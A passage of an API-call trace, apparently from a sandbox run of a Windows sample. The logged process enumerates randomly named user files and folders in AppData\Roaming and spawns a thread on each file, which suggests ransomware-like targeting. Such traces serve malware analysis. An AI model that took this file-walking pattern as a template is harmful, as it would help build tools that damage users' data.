_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.153] wcscat (in: _Dest=0x1b85e190, _Source="FFO7LEy.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFO7LEy.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FFO7LEy.mp4" [0097.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178 [0097.154] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f56f140, ftCreationTime.dwHighDateTime=0x1d5d859, ftLastAccessTime.dwLowDateTime=0xcf3e3750, ftLastAccessTime.dwHighDateTime=0x1d5de87, ftLastWriteTime.dwLowDateTime=0xcf3e3750, ftLastWriteTime.dwHighDateTime=0x1d5de87, nFileSizeHigh=0x0, nFileSizeLow=0x95be, dwReserved0=0x0, dwReserved1=0x0, cFileName="G3NLXgguAfwzgm.flv", cAlternateFileName="G3NLXG~1.FLV")) returned 1 [0097.154] wcscmp (_String1="G3NLXgguAfwzgm.flv", _String2=".") returned 1 [0097.154] wcscmp (_String1="G3NLXgguAfwzgm.flv", _String2="..") returned 1 [0097.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4b60 [0097.154] wcscpy (in: _Dest=0x202a4b60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.154] wcscat (in: _Dest=0x202a4b60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.154] wcscat (in: _Dest=0x202a4b60, _Source="G3NLXgguAfwzgm.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G3NLXgguAfwzgm.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G3NLXgguAfwzgm.flv" [0097.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c [0097.155] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5d801b0, ftCreationTime.dwHighDateTime=0x1d5d839, ftLastAccessTime.dwLowDateTime=0xe4753180, ftLastAccessTime.dwHighDateTime=0x1d5dcb3, ftLastWriteTime.dwLowDateTime=0xe4753180, ftLastWriteTime.dwHighDateTime=0x1d5dcb3, nFileSizeHigh=0x0, nFileSizeLow=0xbfff, dwReserved0=0x0, dwReserved1=0x0, cFileName="hYhcLcB.gif", cAlternateFileName="")) returned 1 [0097.155] wcscmp (_String1="hYhcLcB.gif", _String2=".") returned 1 [0097.155] wcscmp (_String1="hYhcLcB.gif", _String2="..") returned 1 [0097.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ea10 [0097.155] wcscpy (in: _Dest=0x1b85ea10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.155] wcscat (in: _Dest=0x1b85ea10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.155] wcscat (in: _Dest=0x1b85ea10, _Source="hYhcLcB.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hYhcLcB.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hYhcLcB.gif" [0097.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ea10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180 [0097.157] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0097.157] wcscmp (_String1="Identities", _String2=".") returned 1 [0097.157] wcscmp (_String1="Identities", _String2="..") returned 1 [0097.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ea90 [0097.157] wcscpy (in: _Dest=0x1b85ea90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.157] wcscat (in: _Dest=0x1b85ea90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.157] wcscat (in: _Dest=0x1b85ea90, _Source="Identities" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" [0097.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85ea90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1184 [0097.158] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5effbd90, ftCreationTime.dwHighDateTime=0x1d5de0c, ftLastAccessTime.dwLowDateTime=0x5e6d8960, ftLastAccessTime.dwHighDateTime=0x1d5e493, ftLastWriteTime.dwLowDateTime=0x5e6d8960, ftLastWriteTime.dwHighDateTime=0x1d5e493, nFileSizeHigh=0x0, nFileSizeLow=0x15242, dwReserved0=0x0, dwReserved1=0x0, cFileName="jkggiI5il.flv", cAlternateFileName="JKGGII~1.FLV")) returned 1 [0097.158] wcscmp (_String1="jkggiI5il.flv", _String2=".") returned 1 [0097.158] wcscmp (_String1="jkggiI5il.flv", _String2="..") returned 1 [0097.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85ec10 [0097.158] wcscpy (in: _Dest=0x1b85ec10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.158] wcscat (in: _Dest=0x1b85ec10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.158] wcscat (in: _Dest=0x1b85ec10, _Source="jkggiI5il.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jkggiI5il.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jkggiI5il.flv" [0097.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ec10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188 [0097.159] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cf4bb60, ftCreationTime.dwHighDateTime=0x1d5e12c, ftLastAccessTime.dwLowDateTime=0x6e656850, ftLastAccessTime.dwHighDateTime=0x1d5dad0, ftLastWriteTime.dwLowDateTime=0x6e656850, ftLastWriteTime.dwHighDateTime=0x1d5dad0, nFileSizeHigh=0x0, nFileSizeLow=0x157c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="jWYxnvYdEkH9Voeu.docx", cAlternateFileName="JWYXNV~1.DOC")) returned 1 [0097.159] wcscmp (_String1="jWYxnvYdEkH9Voeu.docx", _String2=".") returned 1 [0097.159] wcscmp (_String1="jWYxnvYdEkH9Voeu.docx", _String2="..") returned 1 [0097.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4bf0 [0097.159] wcscpy (in: _Dest=0x202a4bf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.159] wcscat (in: _Dest=0x202a4bf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.159] wcscat (in: _Dest=0x202a4bf0, _Source="jWYxnvYdEkH9Voeu.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx" [0097.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c [0097.160] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde562db0, ftCreationTime.dwHighDateTime=0x1d5e503, ftLastAccessTime.dwLowDateTime=0xb75d0450, ftLastAccessTime.dwHighDateTime=0x1d5db2f, ftLastWriteTime.dwLowDateTime=0xb75d0450, ftLastWriteTime.dwHighDateTime=0x1d5db2f, nFileSizeHigh=0x0, nFileSizeLow=0x50e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="KfvF.mkv", cAlternateFileName="")) returned 1 [0097.160] wcscmp (_String1="KfvF.mkv", _String2=".") returned 1 [0097.160] wcscmp (_String1="KfvF.mkv", _String2="..") returned 1 [0097.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85eb90 [0097.160] wcscpy (in: _Dest=0x1b85eb90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.160] wcscat (in: _Dest=0x1b85eb90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.160] wcscat (in: _Dest=0x1b85eb90, _Source="KfvF.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KfvF.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KfvF.mkv" [0097.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85eb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190 [0097.161] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3fb145d0, ftCreationTime.dwHighDateTime=0x1d5e249, ftLastAccessTime.dwLowDateTime=0x6c35f600, ftLastAccessTime.dwHighDateTime=0x1d5e032, ftLastWriteTime.dwLowDateTime=0x6c35f600, ftLastWriteTime.dwHighDateTime=0x1d5e032, nFileSizeHigh=0x0, nFileSizeLow=0x93ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="KJAKsy2oheOup.png", cAlternateFileName="KJAKSY~1.PNG")) returned 1 [0097.161] wcscmp (_String1="KJAKsy2oheOup.png", _String2=".") returned 1 [0097.161] wcscmp (_String1="KJAKsy2oheOup.png", _String2="..") returned 1 [0097.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4c80 [0097.161] wcscpy (in: _Dest=0x202a4c80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.161] wcscat (in: _Dest=0x202a4c80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.161] wcscat (in: _Dest=0x202a4c80, _Source="KJAKsy2oheOup.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png" [0097.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194 [0097.162] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e80750, ftCreationTime.dwHighDateTime=0x1d5df1e, ftLastAccessTime.dwLowDateTime=0xd2390bb0, ftLastAccessTime.dwHighDateTime=0x1d5e625, ftLastWriteTime.dwLowDateTime=0xd2390bb0, ftLastWriteTime.dwHighDateTime=0x1d5e625, nFileSizeHigh=0x0, nFileSizeLow=0xf7c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnY02ofcKPvu5Xr3.csv", cAlternateFileName="KNY02O~1.CSV")) returned 1 [0097.162] wcscmp (_String1="KnY02ofcKPvu5Xr3.csv", _String2=".") returned 1 [0097.162] wcscmp (_String1="KnY02ofcKPvu5Xr3.csv", _String2="..") returned 1 [0097.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a4d10 [0097.162] wcscpy (in: _Dest=0x202a4d10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.162] wcscat (in: _Dest=0x202a4d10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.163] wcscat (in: _Dest=0x202a4d10, _Source="KnY02ofcKPvu5Xr3.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KnY02ofcKPvu5Xr3.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KnY02ofcKPvu5Xr3.csv" [0097.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198 [0097.163] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fbcdb30, ftCreationTime.dwHighDateTime=0x1d5dd65, ftLastAccessTime.dwLowDateTime=0x7b102d20, ftLastAccessTime.dwHighDateTime=0x1d5e7cc, ftLastWriteTime.dwLowDateTime=0x7b102d20, ftLastWriteTime.dwHighDateTime=0x1d5e7cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lYUc.ods", cAlternateFileName="")) returned 1 [0097.164] wcscmp (_String1="lYUc.ods", _String2=".") returned 1 [0097.164] wcscmp (_String1="lYUc.ods", _String2="..") returned 1 [0097.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79dd70 [0097.164] wcscpy (in: _Dest=0x1b79dd70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.164] wcscat (in: _Dest=0x1b79dd70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.164] wcscat (in: _Dest=0x1b79dd70, _Source="lYUc.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lYUc.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lYUc.ods" [0097.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x119c [0097.165] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0097.165] wcscmp (_String1="Macromedia", _String2=".") returned 1 [0097.165] wcscmp (_String1="Macromedia", _String2="..") returned 1 [0097.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79d670 [0097.165] wcscpy (in: _Dest=0x1b79d670, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.165] wcscat (in: _Dest=0x1b79d670, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.165] wcscat (in: _Dest=0x1b79d670, _Source="Macromedia" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" [0097.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0 [0097.166] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0097.166] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0097.166] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0097.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0097.166] wcscpy (in: _Dest=0x1b79de70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.166] wcscat (in: _Dest=0x1b79de70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.166] wcscat (in: _Dest=0x1b79de70, _Source="Microsoft" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft" [0097.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0097.166] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0097.166] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0097.166] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0097.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79de70 [0097.166] wcscpy (in: _Dest=0x1b79de70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.166] wcscat (in: _Dest=0x1b79de70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.166] wcscat (in: _Dest=0x1b79de70, _Source="Mozilla" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla" [0097.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0097.167] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x138806c0, ftCreationTime.dwHighDateTime=0x1d5ddf7, ftLastAccessTime.dwLowDateTime=0xfd9d77e0, ftLastAccessTime.dwHighDateTime=0x1d5e126, ftLastWriteTime.dwLowDateTime=0xfd9d77e0, ftLastWriteTime.dwHighDateTime=0x1d5e126, nFileSizeHigh=0x0, nFileSizeLow=0xa2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="o-wPC87w olKN5R.pdf", cAlternateFileName="O-WPC8~1.PDF")) returned 1 [0097.167] wcscmp (_String1="o-wPC87w olKN5R.pdf", _String2=".") returned 1 [0097.167] wcscmp (_String1="o-wPC87w olKN5R.pdf", _String2="..") returned 1 [0097.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a4da0 [0097.167] wcscpy (in: _Dest=0x202a4da0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.167] wcscat (in: _Dest=0x202a4da0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.167] wcscat (in: _Dest=0x202a4da0, _Source="o-wPC87w olKN5R.pdf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o-wPC87w olKN5R.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o-wPC87w olKN5R.pdf" [0097.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4 [0097.168] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb611a170, ftCreationTime.dwHighDateTime=0x1d5e136, ftLastAccessTime.dwLowDateTime=0xd33f2410, ftLastAccessTime.dwHighDateTime=0x1d5dcf0, ftLastWriteTime.dwLowDateTime=0xd33f2410, ftLastWriteTime.dwHighDateTime=0x1d5dcf0, nFileSizeHigh=0x0, nFileSizeLow=0x4523, dwReserved0=0x0, dwReserved1=0x0, cFileName="o3afMnaZdhErEuYa.m4a", cAlternateFileName="O3AFMN~1.M4A")) returned 1 [0097.168] wcscmp (_String1="o3afMnaZdhErEuYa.m4a", _String2=".") returned 1 [0097.168] wcscmp (_String1="o3afMnaZdhErEuYa.m4a", _String2="..") returned 1 [0097.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a4e30 [0097.168] wcscpy (in: _Dest=0x202a4e30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.168] wcscat (in: _Dest=0x202a4e30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.168] wcscat (in: _Dest=0x202a4e30, _Source="o3afMnaZdhErEuYa.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o3afMnaZdhErEuYa.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o3afMnaZdhErEuYa.m4a" [0097.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8 [0097.169] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa63cd50, ftCreationTime.dwHighDateTime=0x1d5e2ab, ftLastAccessTime.dwLowDateTime=0xd7ae1b80, ftLastAccessTime.dwHighDateTime=0x1d5e486, ftLastWriteTime.dwLowDateTime=0xd7ae1b80, ftLastWriteTime.dwHighDateTime=0x1d5e486, nFileSizeHigh=0x0, nFileSizeLow=0x157e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ov1S93zQN.flv", cAlternateFileName="OV1S93~1.FLV")) returned 1 [0097.169] wcscmp (_String1="ov1S93zQN.flv", _String2=".") returned 1 [0097.169] wcscmp (_String1="ov1S93zQN.flv", _String2="..") returned 1 [0097.169] RtlAllocateHeap 